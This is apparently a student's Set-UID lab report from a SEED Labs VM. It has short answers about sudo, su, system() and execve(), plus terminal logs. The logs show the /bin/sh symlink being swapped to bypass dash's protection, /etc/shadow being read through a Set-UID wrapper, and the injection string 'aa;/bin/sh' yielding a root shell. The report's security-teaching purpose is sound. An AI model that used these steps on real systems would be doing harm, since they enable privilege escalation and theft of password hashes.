

### **Question 1)**

**Think about the difference between sudo and su. Which is more secure? Why?**

sudo allows executing specific commands with root privileges temporarily, whereas su completely switches to the root account. Therefore, using sudo is more secure.

### **Question 2)**

**Peter runs a Set-UID program that is owned by Bryan. The program tries to read from /tmp/x, which is readable to Peter, but not to anybody else. Can this program successfully read from the file?**

Peter runs the program with Bryan's privileges. Since /tmp/x is only readable by Peter, the program executed with Bryan's privileges cannot read the file.

### **Question 3)**

**Both system() and execve() can be used to execute external programs. Why is system() unsafe while execve() is safe?**

system() executes commands using an internal shell, making it vulnerable to command injection attacks when user input is included. However, execve() directly executes the binary without going through a shell, preventing unexpected behavior.

### **Question 4)**

**Does the chown command automatically disables the Set-UID bit when it changes the owner of a Set-UID program? Please explain why if it does that.**

When the chown command is used, the Set-UID bit is disabled. If the Set-UID bit remains active while the ownership is changed, a security vulnerability can occur. This is because if a Set-UID program is transferred to a regular user via chown while keeping the Set-UID bit enabled, it could still be executed with root privileges.

Task1)

Execute the following command and explain what are you observe and why it happened.

```
[03/20/25]seed@VM:~/Desktop$ ls
myid
[03/20/25]seed@VM:~/Desktop$ ls -l myid
-rwxr-xr-x 1 seed seed 47480 Mar 20 01:05 myid
[03/20/25]seed@VM:~/Desktop$ sudo chown root myid
[03/20/25]seed@VM:~/Desktop$ sudo chmod 4755 myid
[03/20/25]seed@VM:~/Desktop$ ./myid
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
[03/20/25]seed@VM:~/Desktop$ ls -l myid
-rwsr-xr-x 1 root seed 47480 Mar 20 01:05 myid
[03/20/25]seed@VM:~/Desktop$
```

I changed the owner of myid to root. Then, I set the Set-UID bit using chmod. When executed, it shows euid=0(root), indicating that it was run with root privileges.

Task 1-2)

Do the above task using /bin/sh command and explain what are you observe.

```
[03/20/25]seed@VM:~$ cp /bin/sh ./myid
[03/20/25]seed@VM:~$ ls
Desktop Documents Downloads Music myid Picture
[03/20/25]seed@VM:~$ ls -l myid
-rwxr-xr-x 1 seed seed 129816 Mar 20 01:36 myid
[03/20/25]seed@VM:~$ sudo chown root myid
[03/20/25]seed@VM:~$ sudo chmod 4755 myid
[03/20/25]seed@VM:~$ ./myid
$
```

```
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
$ whoami
seed
$
```

After changing the owner of myid to root and setting the SUID bit, the executable was expected to run with root privileges. However, after executing ./myid and checking id and whoami, it was confirmed that the user still

had the regular user (seed) privileges and that root privilege escalation did not occur.

Task 1-3) **Retry Task 1-2 after turn off countermeasure and explain what are you observe.**

Hint: check what happened with id, whoami command

```
[03/20/25]seed@VM:~$ ls -la /bin/sh
lrwxrwxrwx 1 root root 9 Mar 20 01:59 /bin/sh -> /bin/dash
[03/20/25]seed@VM:~$ sudo rm /bin/sh
[03/20/25]seed@VM:~$ sudo ln -s /bin/zsh /bin/sh
[03/20/25]seed@VM:~$ cp /bin/sh ./myid
[03/20/25]seed@VM:~$ sudo chown root myid
[03/20/25]seed@VM:~$ sudo chmod 4755 myid
[03/20/25]seed@VM:~$ ls -l myid
-rwsr-xr-x 1 root seed 878288 Mar 20 01:59 myid
[03/20/25]seed@VM:~$ ./myid
VM# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(p
ugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
VM# whoami
root
VM#
```

When the security measures were disabled, it was confirmed that the regular user gained root privileges.

Task 2)

Can I get a root shell by using this program? If you can, show us how to get root shell and what can I do to prevent this happen.

```
[03/20/25]seed@VM:~$ gcc -o catall catall.c
[03/20/25]seed@VM:~$ sudo chown root catall
[03/20/25]seed@VM:~$ sudo chmod 4755 catall
[03/20/25]seed@VM:~$ ls -l catall
-rwsr-xr-x 1 root seed 16928 Mar 20 02:28 catall
[03/20/25]seed@VM:~$ catall /etc/shadow
root:!:18590:0:99999:7:::
daemon:!:18474:0:99999:7:::
bin:!:18474:0:99999:7:::
sys:!:18474:0:99999:7:::
```

```
[03/20/25]seed@VM:~$ catall "aa;/bin/sh"
/bin/cat: aa: No such file or directory
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(ad
m),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),1
32(sambashare),136(docker)
# █
```

A root shell can be obtained.

The ownership of catall was changed to root. Then, by setting the SUID bit, it was observed that even when executed by a regular user, it runs with root privileges. After that, a command injection attack was performed by injecting a command into the catall program. When executing "aa; /bin/sh", an error occurs because the file aa does not exist, and then /bin/sh is executed, opening a root shell. Ultimately, a root shell was obtained.

Using `execv()` instead of `system()` in catall.c can prevent command injection attacks.